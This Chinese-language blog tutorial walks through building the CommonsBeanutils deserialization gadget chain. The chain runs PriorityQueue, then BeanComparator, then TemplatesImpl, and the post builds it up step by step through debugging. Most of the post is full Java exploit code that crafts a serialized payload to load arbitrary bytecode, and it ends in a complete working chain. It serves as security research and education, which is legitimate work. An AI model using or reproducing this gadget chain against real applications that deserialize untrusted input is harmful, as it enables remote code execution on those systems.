前言
CommonsBeanutils
属于Apache Commons
工具集下的一个项目,它和Commons-Collections
很像,也是对JAVA内置功能的加强,CC是对JAVA集合类的增强,CB是对JavaBean的加强。
环境搭建
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependencies>
|
getter和setter
接着我们可以通过一个简单的示例实际的了解一下,下面代码定义了一个 Person类
1 2 3 4 5 6 7 8 9 10 11 12
| public class Person { private String name="Sp4rks3";
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
|
在该类中,定义了一个私有属性name
和两个方法:读取name
和设置name
。在 Java 中,我们把符合驼峰式命名法,以 get 开头的方法名叫做getter
,以 set 开头的方法名叫做setter
。
CommonsBeanutils
为开发人员提供了一个静态方法:PropertyUtils.getProperty()
,通过该方法可以调用任意JavaBean
中的getter()
方法。因此我们可以通过如下代码调用 User 类的getName()
方法获取 username 的值。
1
| System.out.println(PropertyUtils.getProperty(new Person(),"name"));
|
相当于我传入一个字符串,它就会动态的执行函数,这样就会让我们想到会不会有安全问题
我们传入的是 name
,但是返回的是gette方法和setter方法的名字 还返回了Bean的属性值的名字。
(大写的Name
,实际是javabean
的默认格式,就是传进来小写,但是会将第一个字母变为大写,变为Name
)
PropertyUtilsBean
中看到了调用的地方,意思就是对我们传递的对象,调用一个符合JavaBean的方法(getter方法)
CommonsBeanUtils利用链分析
CC3中提到了Templateslmpl
类,它里面有getOutputProperties()
方法,而getOutputProperties()
名字正好满足getter方法的定义且newTransformer()
是可以动态加载类的
TemplatesImpl调用链
1 2 3 4 5
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
|
所以PropertyUtils.getProperty(o1, property)
这段代码,当o1是一个 TemplatesImpl
对 象,而 property 的值为outputProperties
时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()
方法,触发代码执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths;
import static java.lang.System.*;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties"); } }
|
接着就是找在哪调用了getProperty()
,在BeanComparator.compare()
中找到了调用getProperty()
的地方
compare()
我们也很熟悉了,在Java反序列化CommonsCollections篇-CC4有提到compare,compare的方法调用是这样的
链子流程
1 2 3 4 5 6 7 8 9 10 11
| PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() BeanComparator.compare() PropertyUtils.getProperty(TemplatesImpl, outputProperties) TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses()
|
CommonsBeanUtils链实现
尝试按照上面的逻辑写
未找到方法的错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties"); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator); priorityQueue.add(templates); priorityQueue.add(2);
serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; }
}
|
报错信息
1
| NoSuchMethodException: java.lang.NoSuchMethodException: Unknown property 'outputProperties' on class 'class java.lang.Integer'
|
跟进报错信息
对2(Interger)这个对象调用outputProperties,那肯定没有这个方法,遂报错
修改想法:
将
1 2
| priorityQueue.add(templates); priorityQueue.add(2);
|
变为
1 2
| priorityQueue.add(templates); priorityQueue.add(templates);
|
但是又有个问题,因为add会触发compare,导致序列化的时候就走完链子
所以咱们先得让链子断开,add完之后,序列化之前通过反射再将链子连接起来
修改后:
对象比较错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(); priorityQueue.add(templates); priorityQueue.add(templates); Class<PriorityQueue> c = PriorityQueue.class; Field cDeclaredField = c.getDeclaredField("comparator"); cDeclaredField.setAccessible(true); cDeclaredField.set(priorityQueue, beanComparator);
serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; }
}
|
错误信息 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable
意味着 PriorityQueue
中的 TemplatesImpl
对象在插入时无法进行比较。PriorityQueue
需要所有元素实现 Comparable
接口或者需要一个 Comparator
来对元素进行比较。
修改想法:
既然templates不能比较,那就换成数字,这总可以比较吧
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
可是又会出现刚刚不能找到outputProperties方法的问题,所以add完之后,序列化之前要将priorityQueue.add(1);
换成priorityQueue.add(templates)
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(); priorityQueue.add(1); priorityQueue.add(2);
Class<PriorityQueue> c = PriorityQueue.class; Field comparatorField = c.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue, beanComparator);
Field queueField = c.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queue = (Object[]) queueField.get(priorityQueue); queue[0] = templates;
unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; }
}
|
为什么修改 queue
可以改变 PriorityQueue
的行为
PriorityQueue
内部使用数组来存储元素,而这个数组的引用被保存在 queue
字段中。
通过反射,获取了 PriorityQueue
中 queue
字段的引用,并且直接修改了它,将 TemplatesImpl
对象添加到了队列的第一个位置。
参考连接
JavaBean
Shiro反序列化漏洞(三)-shiro无依赖利用链
CommonsBeanutils与无commons-collections的Shiro反序列化利用